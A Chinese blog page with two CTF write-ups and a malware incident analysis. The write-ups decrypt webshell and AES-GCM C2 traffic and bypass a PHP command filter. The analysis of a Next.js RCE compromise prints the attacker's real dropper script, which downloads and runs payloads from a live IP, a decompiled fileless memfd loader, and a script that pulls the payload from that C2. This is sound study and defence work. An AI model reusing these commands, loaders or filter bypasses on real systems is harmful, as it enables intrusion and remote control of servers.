b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' {/collapse-item} {/collapse} 最后尝试到GCM发现可能性很大,首先前两个发送的指令长度分别是$\frac{62}{2}=31$个字符和$\frac{60}{2}=30$个字符,如果对应前面发现的测试时惯用的指令pwd和ls,能够对应上剩下28个固定字符,符合GCM的特征。尝试使用GCM解密: import base64 import binascii from Crypto.Cipher import AES key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) i = 0 chunk_idx = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] i += length nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}") chunk_idx += 1 得到: 0: len3: b'pwd' 1: len8: b'/var/tmp' 2: len2: b'ls' 3: len3: b'out' 4: len20: b'echo Congratulations' 5: len15: b'Congratulations' 6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 8: len8: b'echo bye' 9: len3: b'bye' 将3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi丢进CyberChef,Base58+Base64解密后得到Flag:dart{d9850b27-85cb-4777-85e0-df0b78fdb722} 后续在尝试完整提取并逆向其中分片上传的二进制,因为发现payload本身有个blockIndex,用于索引当前是第几部分。 让AI写了个完整逆向分析Java class并寻找索引和内容并拼接输出的脚本: import os import re import base64 import subprocess import concurrent.futures from Crypto.Cipher import AES # --- 配置区 --- KEY = b"1f2c8075acd3d118" DIR = "export" # Wireshark 导出的 HTTP 对象所在文件夹 OUTPUT = "real_out.elf" # 最终合并生成的文件 CFR_JAR_PATH = "cfr.jar" # 替换为你下载的 cfr.jar 的实际文件名 MAX_WORKERS = 16 # 线程数:你可以根据 CPU 核心数调大,比如 16、32 def decrypt_to_class(data): try: cipher = AES.new(KEY, AES.MODE_ECB) dec = cipher.decrypt(base64.b64decode(data)) return dec[:-dec[-1]] except Exception: return b"" def decompile_and_extract(class_file_path): try: result = subprocess.run( ['java', '-jar', CFR_JAR_PATH, class_file_path], capture_output=True, text=True, check=True ) source_code = result.stdout index_pattern = r'blockIndex\s*(?:\+?=|=\s*(?:this\.)?blockIndex\s*\+)\s*"(\d+)"' content_pattern = r'content\s*(?:\+?=|=\s*(?:this\.)?content\s*\+)\s*"([A-Za-z0-9+/=]+)"' index_match = re.search(index_pattern, source_code) content_match = re.search(content_pattern, source_code) if index_match and content_match: return int(index_match.group(1)), content_match.group(1) except Exception as e: pass return None, None def process_single_file(fname): """ 单个线程执行的任务:读取、解密、写临时文件、反编译、提取、清理临时文件 """ path = os.path.join(DIR, fname) with open(path, "rb") as f: body = f.read().strip() java_class_bytes = decrypt_to_class(body) if java_class_bytes.startswith(b"\xca\xfe\xba\xbe"): # 确保每个线程的临时文件名唯一,防止冲突 temp_class = f"temp_{fname}.class" with open(temp_class, "wb") as f: f.write(java_class_bytes) block_idx, content_b64 = decompile_and_extract(temp_class) # 清理临时文件 if os.path.exists(temp_class): os.remove(temp_class) if block_idx is not None and content_b64 is not None: try: actual_chunk = base64.b64decode(content_b64) return block_idx, actual_chunk, fname except Exception as e: return None, f"解码异常: {e}", fname return None, "无效的 Class 或解密失败", fname def main(): files = [f for f in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, f))] print(f"[*] 找到 {len(files)} 个文件。启动 {MAX_WORKERS} 个线程疯狂反编译中...") chunks_dict = {} # 启动线程池 with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: # 提交所有任务 future_to_file = {executor.submit(process_single_file, fname): fname for fname in files} # as_completed 会在某个线程完成时立刻 yield,可以实时看到进度 for future in concurrent.futures.as_completed(future_to_file): block_idx, result_data, fname = future.result() if block_idx is not None: chunks_dict[block_idx] = result_data print(f"[+] {fname} -> 提取成功: 块索引 [{block_idx}]") elif "无效" not in result_data: # 过滤掉非目标流量的报错干扰,只打印真的出错了的 print(f"[-] {fname} -> 提取失败: {result_data}") if not chunks_dict: print("\n[-] 未提取到任何有效数据块。") return print(f"\n[*] 所有 {len(chunks_dict)} 块提取完毕。开始按 blockIndex 精准重组...") sorted_indices = sorted(chunks_dict.keys()) with open(OUTPUT, "wb") as f: for idx in sorted_indices: print(f"[*] 写入块索引 [{idx}]") f.write(chunks_dict[idx]) print(f"[!] 完美重组完成!生成文件:{OUTPUT}") if __name__ == "__main__": main() 发现是一个Pyinstaller打包的elf。解压,逆向其中的inspect.pyc,得到: # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.9 import os import socket import struct import subprocess import argparse import settings import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM SERVER_LISTEN_IP = '10.1.243.155' SERVER_LISTEN_PORT = 7788 IMPLANT_CONNECT_IP = '10.1.243.155' IMPLANT_CONNECT_PORT = 7788 SERVER_LISTEN_NUM = 20 _aesgcm = None def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节(对应 128, 192, 256 位)') _aesgcm = None(key) def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短,无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext def exec_cmd(command, code_flag): command = command.decode('utf-8') # WARNING: Decompyle incomplete def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data) def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8' # WARNING: Decompyle incomplete if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main() 也证明了猜想,确实是GCM (不过这一看就是ai出的罢) 梳理 完整的链条应该是这样的: sequenceDiagram participant Attacker as 攻击者 (Attacker / C2 Server) participant WebServer as Web 应用层 (Shiro / Behinder WebShell) participant OS as 底层系统 (Linux OS) rect rgb(240, 248, 255) note right of Attacker: 阶段一:Shiro 漏洞利用与 RCE Attacker->>WebServer: 持续爆破 rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 跳转 (爆破成功获取 AES Key) Attacker->>WebServer: 发送 RCE Payload (Authorization头传递命令) WebServer->>OS: 派生进程执行命令 (whoami, ls -la 等) OS-->>WebServer: 返回标准输出结果 (root 等) WebServer-->>Attacker: 返回 Base64 加密的命令结果 end rect rgb(255, 240, 245) note right of Attacker: 阶段二:注入内存马与后渗透探测 Attacker->>WebServer: POST 请求注入 Behinder(冰蝎) 内存马 WebServer-->>Attacker: 返回注入成功标识 (->|Success|<-) Attacker->>WebServer: 访问 /favicondemo.ico 发送 AES 加密的 Java Class WebServer->>OS: 读取环境变量、网络信息、遍历 /tmp 与 /var/tmp 目录 OS-->>WebServer: 返回底层系统状态和文件列表 WebServer-->>Attacker: 返回 AES 加密的探测结果 end rect rgb(240, 255, 240) note right of Attacker: 阶段三:分片上传与执行持久化木马 Attacker->>WebServer: 多次发包分片上传二进制 ELF 木马 WebServer->>OS: 将 Payload 块追加写入 /var/tmp/out Attacker->>WebServer: 发送 Hash 校验请求 WebServer->>OS: 计算落地文件 /var/tmp/out 的 MD5 Hash OS-->>WebServer: 校验通过 WebServer-->>Attacker: 返回 Hash 值确认文件完整性 Attacker->>WebServer: 发送命令 chmod +x out 及 ./out --aes-key ... WebServer->>OS: 赋予执行权限并带密钥参数运行木马程序 end rect rgb(255, 253, 230) note right of Attacker: 阶段四:TCP 反连与深层控制 OS->>Attacker: Pyinstaller 木马向 C2 发起 TCP 反向连接 (10.1.243.155:7788) Attacker->>OS: 发送基于 AES-GCM 加密的指令 (pwd, ls, echo) OS-->>Attacker: 返回加密的执行结果 (最终输出 Flag) end 阶段一:Shiro 漏洞利用与 RCE 验证 攻击者通过发送包含 rememberMe Cookie 的 GET 请求,成功爆破出 Apache Shiro 的 AES 密钥。 随后,攻击者利用 Authorization 头传递加密命令,Web 服务器执行了 whoami 等命令,并返回了 Base64 加密的执行结果 root。 阶段二:植入内存 WebShell 与初步控制 攻击者向 / 路径发送携带 Java 类的 POST 请求,成功注入冰蝎(Behinder)内存马,并将 C2 通信信道建立在 /favicondemo.ico 路径上。 攻击者通过该信道下发经过 AES 加密的 Java Class,利用 Web 服务层读取了底层系统的环境变量、IP 信息(172.18.0.2),并执行了基础系统命令(如 ps -ef)。 阶段三:恶意木马上传与落地执行 攻击者通过 WebShell,利用 blockIndex 和 blockSize 参数将一个 ELF 二进制文件分片追加写入到系统的 /var/tmp/out 路径下,并进行了 Hash 校验(a0275c1593af1adb)。 攻击者下发 Shell 命令 chmod +x out 赋予文件执行权限,并通过 ./out --aes-key ... 在底层系统运行了该木马。 阶段四:TCP 反连获取 Flag 底层的 Python 恶意木马运行后,直接绕过 Web 层面,主动向攻击者的 C2 服务器(10.1.243.155:7788)发起 TCP 连接。 双方切换至 AES-GCM 算法进行通信,攻击者下发 pwd、ls、echo Congratulations 等远控指令,并在最终的回包中获取到了 Flag。 总的来说还是挺有意思(?
2026年03月15日
95 阅读
0 评论
3 点赞
PolarCTF 2025冬季赛 Web Polarflag WriteUp
打开网页,可发现是一个登录页: 尝试通过dirsearch扫描,得到: Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed 发现/flag.txt,访问: <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return $temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> 尝试运行,发现语法错误,修正: ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; 运行,得到:the_username_is_polar,提示我们用户名是polar。同时,题目附件提供了一个字典wordlist.txt,尝试使用BurpSuite爆破: 爆破发现当密码为6666的时候会跳转到/polar.php: 访问/polar.php,得到: <?php error_reporting(0); session_start(); if(isset($_GET['logout'])){ session_destroy(); header('Location: index.php'); exit(); } // 初始化会话变量 if(!isset($_SESSION['collision_passed'])) { $_SESSION['collision_passed'] = false; } //想赢的人脸上是没有笑容的 if(isset($_POST['a']) && isset($_POST['b'])) { if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo "MD5 不错不错 \n"; $_SESSION['collision_passed'] = true; } else { echo "MD5 你不行啊\n"; $_SESSION['collision_passed'] = false; } } if(isset($_GET["polar"])){ if($_SESSION['collision_passed']) { if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){ echo "gun gun !"; } else { echo "polar polar !"; system($_GET["polar"]); } } else { echo "回去吧,这块不要了\n"; } } else { show_source(__FILE__); echo '<br><br><a href="?logout=1" style="color: #4CAF50; text-decoration: none; font-weight: bold;">回家喽</a>'; } ?> 首先进行MD5绕过,传入a[]=1&b[]=2即可: POST /polar.php HTTP/1.1 Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 11 a[]=1&b[]=2 发现服务端返回了一个: Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/ 并且提示MD5 不错不错,成功绕过。因为我用的BurpSuite发请求,接下来我打算用普通浏览器做,因此将这个cookie写入浏览器。接着直接访问/polar.php?polar=即可传入指令,不需要再绕MD5。 观察正则匹配规则,发现阻止了很多内容,包括一系列符号。首先尝试通过export导出环境变量,发现一个Flag:flag{7b93dd56-4f33-4738-b916-464a984093b3},提交上去发现不对,问客服说这个Flag不对(望天) 因为过滤了空格,因此可使用$IFS$1或者%09(Tab)绕过。同时,因为禁用了/,因此使用${PWD:0:1}(截取PWD环境变量的第一个字符,就是/)代替。构造请求: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1} 得到: polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var 发现Flag文件:/polarflag,因为过滤了fl,不能直接调用文件名,因此使用?????????来通配9个字符的文件。禁用了cat,tail,more,less等能打印内容的指令,但是仍然可以使用sort之类的指令,也能打印出来: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}????????? 得到Flag:flag{polarctf1314inwebgame}
2025年12月07日
122 阅读
0 评论
2 点赞
记服务器因CVE-2025-66478,CVE-2025-55182被挂RCE的逆向分析经历
背景 周六傍晚休息的时候阿里云突然给打电话,说服务器可能受到黑客入侵。上阿里云控制台看了一眼: 担心的事情还是发生了,近期披露的CVE-2025-55182漏洞可以被RCE,服务器上运行的Umami统计工具使用了包含漏洞的Next.JS版本。早上的时候我手动更新了一下我的Umami,但是看起来官方还并未发布相关更新。服务器告警来源就是umami镜像,执行了一个远程的Shell脚本。 作为一个CTFer,这送上门的样本不研究一下说不过去吧( 分析 脚本 阿里云给出的警告可以看到执行shell脚本: /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh 尝试手动下载下来那个python1.sh: export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) # 发现是根据CPU架构下载对应版本的ELF文件。 加载器 尝试手动下载上面脚本中的amd64架构的二进制,并通过IDA Pro打开: int __fastcall main(int argc, const char **argv, const char **envp) { struct hostent *v3; // rax in_addr_t v4; // eax int v5; // eax int v6; // ebx int v7; // r12d int v8; // edx _BYTE *v9; // rax __int64 v10; // rcx _DWORD *v11; // rdi _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF int optval; // [rsp+4h] [rbp-1474h] BYREF char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF if ( !access("/tmp/log_de.log", 0) ) exit(0); qmemcpy(name, "119.45.243.154", sizeof(name)); *(_QWORD *)&addr.sa_family = 4213178370LL; *(_QWORD *)&addr.sa_data[6] = 0LL; v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; v5 = socket(2, 1, 0); v6 = v5; if ( v5 >= 0 ) { optval = 10; setsockopt(v5, 6, 7, &optval, 4u); while ( connect(v6, &addr, 0x10u) == -1 ) sleep(0xAu); send(v6, "l64 ", 6uLL, 0); buf[0] = addr.sa_data[0]; buf[1] = addr.sa_data[1]; send(v6, buf, 2uLL, 0); send(v6, name, 0x20uLL, 0); v7 = syscall(319LL, "a", 0LL); if ( v7 >= 0 ) { while ( 1 ) { v8 = recv(v6, v19, 0x1000uLL, 0); if ( v8 <= 0 ) break; v9 = v19; do *v9++ ^= 0x99u; while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 ); write(v7, v19, v8); } v10 = 1024LL; v11 = v19; while ( v10 ) { *v11++ = 0; --v10; } close(v6); realpath(*argv, resolved); setenv("CWD", resolved, 1); argva[0] = "[kworker/0:2]"; argva[1] = 0LL; fexecve(v7, argva, _bss_start); } } return 0; } 分析发现主要的几个危险操作: v7 = syscall(319LL, "a", 0LL);,319是Linux x64架构下的memfd_create系统调用,用于在内存中创建匿名文件。随后,从目标服务器下载Payload,加载到这段内存中并执行。这是一个Fileless Malware,他不会将payload存储在磁盘中,而是直接加载进内存。 *v9++ ^= 0x99u;,将从服务器下载到的Payload按字节异或0x99,进行解密,可能是用于绕过防火墙 argva[0] = "[kworker/0:2]";,将本进程伪装成内核的kworker进程 其他操作: 通过检测是否存在日志文件/tmp/log_de.log,判断服务器是否已经被入侵,若已经被入侵则直接退出 连接C2服务器完成或失败后会间隔10秒再次尝试连接并加载Payload 从上述逆向代码可很明显的看出发马的服务器IP为119.45.243.154,但是端口没找到。分析一下设置端口部分的代码: *(_QWORD *)&addr.sa_family = 4213178370LL; 其中,4213178370LL(DEC)=0xFB200002(HEX),因为是QWORD,即64位值,所以实际值为0x00000000FB200002。同时因为是小端序,所以实际存储在内存的offset中的格式是02 00 20 FB 00 00 00 00。 sockaddr在内存中的offset一般是: offset 0–1:sa_family(2 字节) offset 2–15:sa_data(14 字节) 也就是说,上述赋值语句实现了: offset 0: sa_family的低字节=0x02 offset 1: sa_family的高字节=0x00 offset 2: sa_data[0]=0x20 offset 3: sa_data[1]=0xFB offset 4..7: sa_data[2..5]=0x00 0x00 0x00 0x00 其中,sa_data[0..1]代表了端口,sa_data[2..5]代表IP。因为网络字节序为大端序,因此实际端口就是0x20FB,即8443。后面也可找到赋值IP的部分: v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; 编写一个Python脚本,按照这个加载器中的逻辑连接服务器并尝试加载Payload到ELF文件: import socket import time import os C2_HOST = "119.45.243.154" C2_PORT = 8443 OUTPUT_FILE = "payload.elf" def xor_decode(data): return bytes([b ^ 0x99 for b in data]) def main(): # 删除旧的文件 if os.path.exists(OUTPUT_FILE): os.remove(OUTPUT_FILE) while True: try: print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((C2_HOST, C2_PORT)) print("[+] Connected.") # Handshake s.send(b"l64 ") s.send(b"\x20\xfb") # fake port s.send(b"119.45.243.154".ljust(32, b"\x00")) print("[+] Handshake sent.") print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n") with open(OUTPUT_FILE, "ab") as f: while True: data = s.recv(4096) if not data: print("[-] C2 closed connection.") break decrypted = xor_decode(data) f.write(decrypted) print(f"[+] Received {len(data)} bytes, written to file.") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) except Exception as e: print(f"[-] Error: {e}") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) if __name__ == "__main__": main() 运行可得到一个ELF文件payload.elf。 Payload.elf 先丢到微步云沙箱里检测一下,发现确实是个木马: 但是沙箱并未检测出一些高危行为。问了一下Reverse方向的学长,把样本发给对方研究了一下发现是Golang编写的。使用GoReSym导出符号表,并加载进IDA Pro: \GoReSym.exe payload.elf > symbols.json 让AI编写一个IDA Pro的脚本导入符号表: import json import idc import idaapi import idautils # ⚠️ 修改这里:指向你刚才生成的 symbols.json 文件路径 json_path = r"D:\\Desktop\\symbols.json" def restore_symbols(): print("[-] Loading symbols from JSON...") try: with open(json_path, 'r', encoding='utf-8') as f: data = json.load(f) except Exception as e: print(f"[!] Error opening file: {e}") return # 1. 恢复用户函数 (UserFunctions) count = 0 for func in data.get('UserFunctions', []): start_addr = func['Start'] # 你的 JSON 里全是混淆名字,比如 shK3zqV.O86rtPRpp # 我们主要关心完整的 FullName full_name = func['FullName'] # 清理名称中 IDA 不喜欢的字符 safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_") # 尝试重命名 if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1: # 可选:如果重命名成功,尝试让 IDA 重新分析该处为代码 idc.create_insn(start_addr) idc.add_func(start_addr) count += 1 print(f"[+] Successfully renamed {count} functions.") if __name__ == "__main__": restore_symbols() 在IDA中通过File-Script file选择上述脚本即可导入符号表。同时,将符号表发给AI分析,发现存在一些对OSS存储桶的一些操作函数: (*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> 窃取或使用云凭证。 Bucket.PutObjectFromFile -> 上传文件(极可能是在窃取你服务器上的数据并上传到攻击者的 OSS Bucket)。 Bucket.DoPutObject -> 执行上传操作。 (*Config).LimitUploadSpeed / LimitDownloadSpeed -> 限制带宽占用,防止被你发现网络异常。 混淆后的包名 真实包/功能推测 证据 (Artifacts) 行为描述 ojQuzc_T Aliyun OSS SDK PutObjectFromFile, GetAccessKeySecret 连接阿里云 OSS,上传/下载文件,窃取凭证。 l2FdnE6 os/exec (命令执行) (*Ps1Jpr8w8).Start, StdinPipe, Output 执行系统命令。它在调用 Linux shell 命令。 qzjJr5PCHfoj os / 文件系统操作 Readdir, Chown, Truncate, SyscallConn 遍历目录、修改文件权限、读写文件。 PqV1YDIP godbus/dbus (D-Bus) (*Conn).BusObject, (*Conn).Eavesdrop 连接 Linux 